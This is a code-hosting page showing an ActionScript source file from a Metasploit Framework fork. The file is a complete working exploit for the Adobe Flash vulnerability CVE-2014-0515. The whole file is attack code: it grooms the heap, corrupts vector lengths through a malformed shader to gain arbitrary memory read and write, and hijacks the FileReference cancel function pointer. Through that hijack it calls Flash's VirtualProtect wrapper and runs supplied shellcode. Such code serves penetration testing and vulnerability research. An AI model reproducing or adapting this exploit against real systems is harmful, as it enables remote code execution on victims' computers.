PageRenderTime 105ms CodeModel.GetById 40ms app.highlight 25ms RepoModel.GetById 36ms app.codeStats 0ms

/external/source/exploits/CVE-2014-0515/Graph.as

https://github.com/Jonono2/metasploit-framework
ActionScript | 411 lines | 353 code | 30 blank | 28 comment | 80 complexity | 003f8396c81b8ef7750d17a228b97b83 MD5 | raw file
  1//compile with AIR SDK 13.0: mxmlc Graph.as -o Graph.swf
  2package {
  3	import flash.display.Sprite;
  4	import flash.utils.ByteArray;
  5	import flash.display.Shader;
  6	import flash.system.Capabilities;
  7	import flash.net.FileReference;
  8	import flash.utils.Endian;
  9	import __AS3__.vec.Vector;
 10	import __AS3__.vec.*;
 11	import flash.display.LoaderInfo;
 12	
 13	public class Graph extends Sprite {
 14		
 15		static var counter:uint = 0;
 16		
 17		protected var Shad:Class;
 18		var shellcode_byte_array:ByteArray;
 19		var aaab:ByteArray;
 20		var shellcodeObj:Array;
 21		
 22		public function Graph(){
 23			var tweaked_vector:* = undefined;
 24			var tweaked_vector_address:* = undefined;
 25			var shader:Shader;
 26			var flash_memory_protect:Array;
 27			var code_vectors:Array;
 28			var address_code_vector:uint;
 29			var address_shellcode_byte_array:uint;
 30			this.Shad = Graph_Shad;
 31			super();
 32			shellcodeObj = LoaderInfo(this.root.loaderInfo).parameters.sh.split(",");
 33			var i:* = 0;
 34			var j:* = 0;
 35			
 36			// Just one try
 37			counter++;
 38			if (counter > 1)
 39			{
 40				return;
 41			};
 42			
 43			// Memory massage
 44			var array_length:uint = 0x10000;
 45			var vector_size:uint = 34;
 46			var array:Array = new Array();
 47			i = 0;
 48			while (i < array_length)
 49			{
 50				array[i] = new Vector.<int>(1);
 51				i++;
 52			};
 53			i = 0;
 54			while (i < array_length)
 55			{
 56				array[i] = new Vector.<int>(vector_size);
 57				i++;
 58			};
 59			i = 0;
 60			while (i < array_length)
 61			{
 62				array[i].length = 0;
 63				i++;
 64			};
 65			i = 0x0200;
 66			while (i < array_length)
 67			{
 68				array[(i - (2 * (j % 2)))].length = 0x0100;
 69				i = (i + 28);
 70				j++;
 71			};
 72			
 73			// Overflow and Search for corrupted vector
 74			var corrupted_vector_idx:uint;
 75			var shadba:ByteArray = (new this.Shad() as ByteArray);
 76			shadba.position = 232;
 77			if (Capabilities.os.indexOf("Windows 8") >= 0)
 78			{
 79				shadba.writeUnsignedInt(2472);
 80			};
 81			shadba.position = 0;
 82			while (1)
 83			{
 84				shader = new Shader();
 85				try
 86				{
 87					shader.byteCode = (new this.Shad() as ByteArray);
 88				} catch(e)
 89				{
 90				};
 91				i = 0;
 92				while (i < array_length)
 93				{
 94					if (array[i].length > 0x0100)
 95					{
 96						corrupted_vector_idx = i;
 97						break;
 98					};
 99					i++;
100				};
101				if (i != array_length)
102				{
103					if (array[corrupted_vector_idx][(vector_size + 1)] > 0) break;
104				};
105				array.push(new Vector.<int>(vector_size));
106			};
107			
108			// Tweak the vector following the corrupted one
109			array[corrupted_vector_idx][vector_size] = 0x40000001;
110			tweaked_vector = array[(corrupted_vector_idx + 1)];
111			
112			// repair the corrupted vector by restoring its
113			// vector object pointer and length
114			var vector_obj_addr:* = tweaked_vector[0x3fffffff];
115			tweaked_vector[((0x40000000 - vector_size) - 3)] = vector_obj_addr;
116			tweaked_vector[((0x40000000 - vector_size) - 4)] = vector_size;
117			i = 0;
118			var val:uint;
119			while (true)
120			{
121				val = tweaked_vector[(0x40000000 - i)];
122				if (val == 0x90001B) break;
123				i++;
124			};
125			tweaked_vector_address = 0;
126			if (tweaked_vector[((0x40000000 - i) - 4)] > 0)
127			{
128				tweaked_vector[4] = 0x41414141;
129				tweaked_vector_address = ((tweaked_vector[((0x40000000 - i) - 4)] + (8 * (vector_size + 2))) + 8);				
130			};
131			
132			// More memory massage, fill an array of FileReference objects
133			var file_reference_array:Array = new Array();
134			i = 0;
135			while (i < 64)
136			{
137				file_reference_array[i] = new FileReference();
138				i++;
139			};
140			
141			var file_reference_vftable:uint = this.find_file_ref_vtable(tweaked_vector, tweaked_vector_address);
142			var cancel_address:uint = this.read_memory(tweaked_vector, tweaked_vector_address, (file_reference_vftable + 0x20));
143			var do_it:Boolean = true;
144			var memory_protect_ptr:uint;
145			var aaaq:uint;
146			if (do_it)
147			{
148				flash_memory_protect = this.findFlashMemoryProtect(tweaked_vector, tweaked_vector_address);
149				memory_protect_ptr = flash_memory_protect[0];
150				aaaq = flash_memory_protect[1]; // Not sure, not used on the Flash 11.7.700.202 analysis, maybe some type of adjustment
151				code_vectors = this.createCodeVectors(0x45454545, 0x90909090);
152				address_code_vector = this.findCodeVector(tweaked_vector, tweaked_vector_address, 0x45454545);
153				this.fillCodeVectors(code_vectors);
154				tweaked_vector[7] = (memory_protect_ptr + 0); // Flash VirtualProtect call
155				tweaked_vector[4] = aaaq; 				
156				tweaked_vector[0] = 0x1000; // Length
157				tweaked_vector[1] = (address_code_vector & 0xFFFFF000); // Address
158				
159				// 10255e21 ff5014          call    dword ptr [eax+14h]  ds:0023:41414155=????????
160				this.write_memory(tweaked_vector, tweaked_vector_address, (file_reference_vftable + 0x20), (tweaked_vector_address + 8));
161				
162				// 1) Set memory as executable
163				i = 0;
164				while (i < 64)
165				{
166					file_reference_array[i].cancel();
167					i++;
168				};
169				
170				// 2) Execute shellcode 
171				tweaked_vector[7] = address_code_vector;
172				i = 0;
173				while (i < 64)
174				{
175					file_reference_array[i].cancel();
176					i++;
177				};
178				
179				// Restore FileReference cancel function pointer
180				// Even when probably msf module is not going to benefit because of the ExitThread at the end of the payloads
181				this.write_memory(tweaked_vector, tweaked_vector_address, (file_reference_vftable + 0x20), cancel_address);
182			};
183		}
184		
185		// returns the integer at memory address
186		// vector: vector with tweaked length
187		// vector_address: vector's memory address
188		// address: memory address to read
189		function read_memory(vector:Vector.<int>, vector_address:uint, address:uint):uint{
190			if (address >= vector_address)
191			{
192				return (vector[((address - vector_address) / 4)]);
193			};
194			return (vector[(0x40000000 - ((vector_address - address) / 4))]);
195		}
196		
197		function write_memory(vector:Vector.<int>, vector_address:uint, address:uint, value:uint){
198			if (address >= vector_address)
199			{
200				vector[((address - vector_address) / 4)] = value;
201			} else
202			{
203				vector[(0x40000000 - ((vector_address - address) / 4))] = value;
204			};
205		}
206		
207		function findFlashMemoryProtect(vector:*, vector_address:*):Array{
208			var content:uint;
209			var allocation:uint = this.read_memory(vector, vector_address, ((vector_address & 0xFFFFF000) + 0x1c));
210			var index:uint;
211			var memory_protect_ptr:uint;
212			var _local_6:uint;
213			if (allocation >= vector_address)
214			{
215				index = ((allocation - vector_address) / 4);
216			} else
217			{
218				index = (0x40000000 - ((vector_address - allocation) / 4));
219			};
220			
221			//push    1 ; 6a 01
222			//push    dword ptr [eax-8] ; ff 70 f8
223			//push    dword ptr [eax-4] ; ff 70 fc
224			//call    sub_1059DD00 // Will do VirtualProtect
225			var offset:uint;
226			while (1)
227			{
228				index--;
229				content = vector[index];
230				if (content == 0xfff870ff)
231				{
232					offset = 2;
233					break;
234				};
235				if (content == 0xf870ff01)
236				{
237					offset = 1;
238					break;
239				};
240				if (content == 0x70ff016a)
241				{
242					content = vector[(index + 1)];
243					if (content == 0xfc70fff8)
244					{
245						offset = 0;
246						break;
247					};
248				} else
249				{
250					if (content == 0x70fff870)
251					{
252						offset = 3;
253						break;
254					};
255				};
256			};
257			
258			memory_protect_ptr = ((vector_address + (4 * index)) - offset);
259			index--;
260			var content_before:uint = vector[index];
261			
262			if (content_before == 0x16a0424)
263			{
264				return ([memory_protect_ptr, _local_6]);
265			};
266			if (content_before == 0x6a042444)
267			{
268				return ([memory_protect_ptr, _local_6]);
269			};
270			if (content_before == 0x424448b)
271			{
272				return ([memory_protect_ptr, _local_6]);
273			};
274			if (content_before == 0xff016a04)
275			{
276				return ([memory_protect_ptr, _local_6]);
277			};
278			_local_6 = (memory_protect_ptr - 6);
279			
280			while (1)
281			{
282				index--;
283				content = vector[index];
284				if (content == 0x850ff50)
285				{
286					if (uint(vector[(index + 1)]) == 0x5e0cc483)
287					{
288						offset = 0;
289						break;
290					};
291				};
292				content = (content & 0xFFFFFF00);
293				if (content == 0x50FF5000)
294				{
295					if (uint(vector[(index + 1)]) == 0xcc48308)
296					{
297						offset = 1;
298						break;
299					};
300				};
301				content = (content & 0xFFFF0000);
302				if (content == 0xFF500000)
303				{
304					if (uint(vector[(index + 1)]) == 0xc4830850)
305					{
306						if (uint(vector[(index + 2)]) == 0xc35d5e0c)
307						{
308							offset = 2;
309							break;
310						};
311					};
312				};
313				content = (content & 0xFF000000);
314				if (content == 0x50000000)
315				{
316					if (uint(vector[(index + 1)]) == 0x830850ff)
317					{
318						if (uint(vector[(index + 2)]) == 0x5d5e0cc4)
319						{
320							offset = 3;
321							break;
322						};
323					};
324				};
325			};
326			memory_protect_ptr = ((vector_address + (4 * index)) + offset);
327			return ([memory_protect_ptr, _local_6]);
328		}
329		
330		// vector: vector with tweaked length
331		// address: memory address of vector data
332		function find_file_ref_vtable(vector:*, address:*):uint{
333			var allocation:uint = this.read_memory(vector, address, ((address & 0xFFFFF000) + 0x1c));
334			
335			// Find an allocation of size 0x2a0
336			var allocation_size:uint;
337			while (true)
338			{
339				allocation_size = this.read_memory(vector, address, (allocation + 8));
340				if (allocation_size == 0x2a0) break;
341				if (allocation_size < 0x2a0)
342				{
343					allocation = (allocation + 0x24); // next allocation
344				} else
345				{
346					allocation = (allocation - 0x24); // prior allocation
347				};
348			};
349			var allocation_contents:uint = this.read_memory(vector, address, (allocation + 0xc));
350			while (true)
351			{
352				if (this.read_memory(vector, address, (allocation_contents + 0x180)) == 0xFFFFFFFF) break;
353				if (this.read_memory(vector, address, (allocation_contents + 0x17c)) == 0xFFFFFFFF) break;
354				allocation_contents = this.read_memory(vector, address, (allocation_contents + 8));
355			};
356			return (allocation_contents);
357		}
358		
359		// Returns pointer to the nops in one of the allocated code vectors
360		function findCodeVector(vector:*, vector_address:*, mark:*):uint{
361			var allocation_size:uint;
362			var allocation:uint = this.read_memory(vector, vector_address, ((vector_address & 0xFFFFF000) + 0x1c));
363			while (true)
364			{
365				allocation_size = this.read_memory(vector, vector_address, (allocation + 8));
366				if (allocation_size == 0x7f0) break; // Code Vector found
367				allocation = (allocation + 0x24); // next allocation
368			};
369			
370			// allocation contents should be the vector code, search for the mark 0x45454545 
371			var allocation_contents:uint = this.read_memory(vector, vector_address, (allocation + 0xc));
372			while (true)
373			{
374				if (this.read_memory(vector, vector_address, (allocation_contents + 0x28)) == mark) break;
375				allocation_contents = this.read_memory(vector, vector_address, (allocation_contents + 8)); // next allocation
376			};
377			return ((allocation_contents + 0x2c));
378		}
379				
380		// create 8 vectors of size 0x7f0 inside an array to place shellcode 
381		function createCodeVectors(mark:uint, nops:uint){
382			var code_vectors_array:Array = new Array();
383			var i:* = 0;
384			while (i < 8)
385			{
386				code_vectors_array[i] = new Vector.<uint>(((0x7f0 / 4) - 8)); // new Vector.<uint>(0x1f4)
387				code_vectors_array[i][0] = mark; // 0x45454545 // inc ebp * 4
388				code_vectors_array[i][1] = nops; // 0x90909090 // nop * 4
389				i++;
390			};
391			return (code_vectors_array);
392		}
393		
394		
395		// Fill with the code vectors with the shellcode
396		function fillCodeVectors(array_code_vectors:Array) {
397			var i:uint = 0;
398			var sh:uint=1;
399			
400			while(i < array_code_vectors.length)
401			{	
402				for(var u:String in shellcodeObj)
403				{
404					array_code_vectors[i][sh++] = Number(shellcodeObj[u]); 
405				}
406				i++;
407				sh = 1;
408			}
409		}		
410	}
411}//package